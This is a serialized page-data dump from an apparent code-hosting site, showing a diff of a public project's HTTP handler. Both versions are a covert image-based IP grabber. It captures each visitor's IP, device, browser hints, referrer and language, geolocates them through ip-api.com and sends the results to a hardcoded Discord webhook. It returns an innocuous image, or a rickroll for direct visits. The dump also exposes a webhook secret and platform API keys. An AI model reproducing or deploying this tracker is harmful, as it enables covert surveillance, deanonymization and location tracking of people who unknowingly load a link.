[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_153":154,"_155":156},"routes/_app.x.$handle.$name",{"_96":95,"_32":45,"_104":86,"_27":98,"_13":14,"_105":-5,"_11":106,"_107":108,"_109":110,"_111":112,"_113":114,"_20":-5,"_115":-5,"_116":-5,"_117":25,"_118":119,"_120":58,"_121":-5,"_122":-5,"_123":124},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":-5,"_18":-5},"project",{"_43":44,"_32":45,"_38":46,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":-5,"_66":-5,"_67":-5,"_68":-5,"_69":70,"_71":70,"_72":73,"_74":73,"_75":73,"_76":70,"_77":70,"_78":79,"_80":81,"_82":83,"_84":25},"version",7,"changes",[19],"aiChatInfo","userId",{"_20":21,"_22":23,"_24":25,"_26":25,"_27":28,"_29":28},"file",{"_30":31,"_32":28,"_33":34,"_35":37,"_38":39,"_40":14,"_41":42,"_24":25},"previous",{"_30":31,"_32":28,"_33":34,"_35":36},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","6528d1f0-9dd3-11f1-b67b-1607ee4eb77e","name","fileType","http","content","export default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n // Ignore browser favicon noise\n if (url.pathname === \"/favicon.ico\") {\n return new Response(null, { status: 204 });\n }\n\n // Extract true client IP\n const cfConnectingIp = req.headers.get(\"cf-connecting-ip\");\n const xForwardedFor = req.headers.get(\"x-forwarded-for\");\n const clientIp = (cfConnectingIp || xForwardedFor || \"Unknown IP\").split(\n \",\",\n )[0].trim();\n\n const userAgent = req.headers.get(\"user-agent\") || \"Unknown Device\";\n const fetchDest = req.headers.get(\"sec-fetch-dest\") || \"\";\n\n // TRAP: If they open the link directly in a browser tab instead of an image tag, Rickroll them!\n if (fetchDest === \"document\") {\n return Response.redirect(\n \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\",\n 302,\n );\n }\n\n // Send Discord Alert\n const DISCORD_WEBHOOK_URL =\n \"https://discord.com/api/webhooks/1540555358882234463/2JQFDkXu9FqW0tEXSriYmZGwGVsXVy_Iz--jaQ5eLBTbT1amR-1rr_OherUSzpsjka5C\";\n\n fetch(DISCORD_WEBHOOK_URL, {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n embeds: [\n {\n title: \"🚨 Dynamic Tracker Triggered!\",\n color: 0xE67E22,\n fields: [\n { name: \"🌐 Captured IP\", value: `\\`${clientIp}\\``, inline: true },\n {\n name: \"🖥️ Device\",\n value: `\\`\\`\\`${userAgent}\\`\\`\\``,\n inline: false,\n },\n ],\n timestamp: new Date().toISOString(),\n },\n ],\n }),\n }).catch(() => {});\n\n // DYNAMIC IMAGE: Generate a custom SVG graphic that prints their REAL IP on it\n const customSvg = `\n \n `;\n\n // Return the custom dynamic image directly as 200 OK\n return new Response(customSvg, {\n status: 200,\n headers: {\n \"Content-Type\": \"image/svg+xml\",\n \"Cache-Control\": \"no-store, no-cache, must-revalidate\",\n },\n });\n}","export default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n // 1. Ignore browser favicon requests to avoid duplicate notifications\n if (url.pathname === \"/favicon.ico\") {\n return new Response(null, { status: 204 });\n }\n\n // 2. Extract ONLY the true origin IP (filters out Cloudflare / proxy chain noise)\n const cfConnectingIp = req.headers.get(\"cf-connecting-ip\");\n const xForwardedFor = req.headers.get(\"x-forwarded-for\");\n const rawIpString = cfConnectingIp || xForwardedFor || \"Unknown IP\";\n const clientIp = rawIpString.split(\",\")[0].trim();\n\n // 3. Extract Browser & Hardware Client Hints\n const userAgent = req.headers.get(\"user-agent\") || \"Unknown Device\";\n const secChUa = req.headers.get(\"sec-ch-ua\") || \"Not Disclosed\";\n const secChPlatform = req.headers.get(\"sec-ch-ua-platform\") || \"Unknown OS\";\n const secChMobile = req.headers.get(\"sec-ch-ua-mobile\") === \"?1\"\n ? \"📱 Mobile\"\n : \"💻 Desktop / Other\";\n const secChModel = req.headers.get(\"sec-ch-ua-model\") || \"N/A\";\n\n // 4. Request Metadata & Privacy Headers\n const referer = req.headers.get(\"referer\") || \"Direct Navigation / Hidden\";\n const language = req.headers.get(\"accept-language\") || \"Unknown\";\n const fetchDest = req.headers.get(\"sec-fetch-dest\") || \"Direct / Unknown\";\n const fetchSite = req.headers.get(\"sec-fetch-site\") || \"Unknown\";\n const gpc = req.headers.get(\"sec-gpc\") === \"1\"\n ? \"Enabled (Privacy Mode)\"\n : \"Disabled / Default\";\n\n // 5. Look up ISP & Geolocation Details\n let geoInfo: any = {};\n if (\n clientIp !== \"Unknown IP\" && !clientIp.startsWith(\"127.\") &&\n !clientIp.startsWith(\"192.168.\")\n ) {\n try {\n const geoRes = await fetch(\n `http://ip-api.com/json/${clientIp}?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,mobile,proxy,hosting`,\n { signal: AbortSignal.timeout(2000) },\n );\n if (geoRes.ok) {\n geoInfo = await geoRes.json();\n }\n } catch {\n // Graceful fallback if geolocation times out\n }\n }\n\n const locationStr = geoInfo.status === \"success\"\n ? `${geoInfo.city || \"\"}, ${geoInfo.regionName || \"\"}, ${\n geoInfo.country || \"\"\n } (${geoInfo.zip || \"No Zip\"})`\n : \"Location Unknown\";\n\n const ispStr = geoInfo.isp\n ? `${geoInfo.isp} (${geoInfo.org || geoInfo.as || \"N/A\"})`\n : \"Unknown ISP\";\n const isVpnProxy = geoInfo.proxy || geoInfo.hosting\n ? \"⚠️ Yes (Proxy / VPN / Datacenter)\"\n : \"No (Residential / Cellular)\";\n\n // 6. Send the embed to your Discord Webhook (Non-blocking)\n const DISCORD_WEBHOOK_URL =\n \"https://discord.com/api/webhooks/1540555358882234463/2JQFDkXu9FqW0tEXSriYmZGwGVsXVy_Iz--jaQ5eLBTbT1amR-1rr_OherUSzpsjka5C\";\n\n fetch(DISCORD_WEBHOOK_URL, {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n embeds: [\n {\n title: \"🎯 Image View Detected\",\n color: 0x3498DB,\n thumbnail: { url: \"https://i.postimg.cc/0KDttFvc/image.png\" },\n fields: [\n { name: \"🌐 Client IP\", value: `\\`${clientIp}\\``, inline: true },\n { name: \"📍 Location\", value: locationStr, inline: true },\n { name: \"🏢 ISP / ASN\", value: ispStr, inline: false },\n {\n name: \"🛡️ VPN / Datacenter Flag\",\n value: isVpnProxy,\n inline: true,\n },\n { name: \"📱 Device Class\", value: secChMobile, inline: true },\n {\n name: \"🖥️ OS Platform\",\n value: secChPlatform.replace(/\"/g, \"\"),\n inline: true,\n },\n {\n name: \"🧩 Hardware Model\",\n value: secChModel !== \"N/A\"\n ? secChModel.replace(/\"/g, \"\")\n : \"Not Disclosed\",\n inline: true,\n },\n {\n name: \"🌐 Client Hints (Brands)\",\n value: `\\`${secChUa.replace(/\"/g, \"\")}\\``,\n inline: false,\n },\n {\n name: \"🗣️ Language / Locale\",\n value: language.split(\";\")[0],\n inline: true,\n },\n { name: \"🔒 Global Privacy Control\", value: gpc, inline: true },\n { name: \"🔗 Referrer\", value: `\\`${referer}\\``, inline: false },\n {\n name: \"📥 Request Context\",\n value: `Dest: \\`${fetchDest}\\` | Site: \\`${fetchSite}\\``,\n inline: false,\n },\n {\n name: \"📦 Raw User-Agent\",\n value: `\\`\\`\\`${userAgent}\\`\\`\\``,\n inline: false,\n },\n ],\n footer: { text: \"Val Town Image Tracker • Strict 200 OK GET\" },\n timestamp: new Date().toISOString(),\n },\n ],\n }),\n }).catch((err) => console.error(\"Discord send failed:\", err));\n\n // 7. Fetch and return your custom image (Direct 200 OK stream with strict no-cache headers)\n const imageUrl = \"https://i.postimg.cc/0KDttFvc/image.png\";\n const imageResponse = await fetch(imageUrl);\n\n return new Response(imageResponse.body, {\n status: 200,\n headers: {\n \"Content-Type\": \"image/png\",\n \"Cache-Control\": \"no-store, no-cache, must-revalidate, proxy-revalidate\",\n \"Pragma\": \"no-cache\",\n \"Expires\": \"0\",\n },\n });\n}","createdAt",["D",1787368337801],"branchVersion","branchId","ce0a75b3-6769-454a-b6fe-0ea92559998b","id","d316a4eb-e338-4caf-b270-e0512d2d33eb","dsffds",["D",1787366668567],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","ssdf","imageUrl","e9cc1508-1aed-40b5-9ed5-f3b4d6799920","pinnedFileId","pinPreview",true,"pinMigrated","screenshotVersion","likeCount",0,"orgId","01a0275a-46f0-70fa-8885-d1f278554cef","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_96":95,"_103":98},"org",{"_96":95,"_97":98,"_99":98,"_18":55,"_100":101,"_102":25},"branch",{"_13":85,"_32":86,"_43":42,"_87":44,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":-5,"_93":45,"_94":95},"isOwned",11,"main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","rosannascary","handle","displayName","","avatar","tier","free","canRestrictVals","profileImageUrl","branchName","adoptOrgId",{"_43":44,"_32":45,"_38":149,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":-5,"_66":-5,"_67":-5,"_68":-5,"_69":70,"_71":70,"_72":73,"_74":73,"_75":73,"_76":70,"_77":70,"_78":150,"_80":151,"_82":152,"_84":25},"tree",[144],"files",[144],"counts",{"_133":62,"_134":135,"_136":62,"_137":138,"_139":140},"contents",[125],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},{"_43":126,"_32":28,"_30":31,"_127":-5,"_41":42,"_40":14,"_128":25,"_38":129,"_13":130,"_33":34,"_35":37,"_24":25,"_131":-5,"_27":132},"8b9cb360-38ab-464f-b7e0-cfc116c554d9","parentId","latest",["D",1787368337801],6,"label",[28],"pulls","branches",1,"forks","envVars",{"_141":62,"_143":62},"connections",{"_141":62,"_142":62},"count","unfilledCount","emptyCount",{"_43":126,"_32":28,"_30":31,"_127":-5,"_41":42,"_40":14,"_128":25,"_38":145,"_13":130,"_33":34,"_35":37,"_24":25,"_131":-5,"_146":147,"_27":148},["D",1787368337801],"children",[],[28],["D",1787366668567],{"_96":95,"_103":98},{"_96":95,"_97":98,"_99":98,"_18":55,"_100":101,"_102":25},{"_13":85,"_32":86,"_43":42,"_87":44,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":-5,"_93":45,"_94":95},"ctx",{"_78":-5,"_122":186,"_187":188,"_189":190,"_191":25,"_192":25,"_193":25,"_194":58,"_195":-5,"_196":-7,"_197":-7,"_198":62,"_199":25,"_200":25,"_201":-5,"_202":25,"_203":25,"_204":25,"_205":-5},"ENV",{"_157":158,"_159":160,"_161":86,"_162":163,"_164":165,"_166":167,"_168":169,"_170":171,"_172":173,"_174":175,"_176":177,"_178":179,"_180":181,"_182":183,"_184":185},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Diff · v7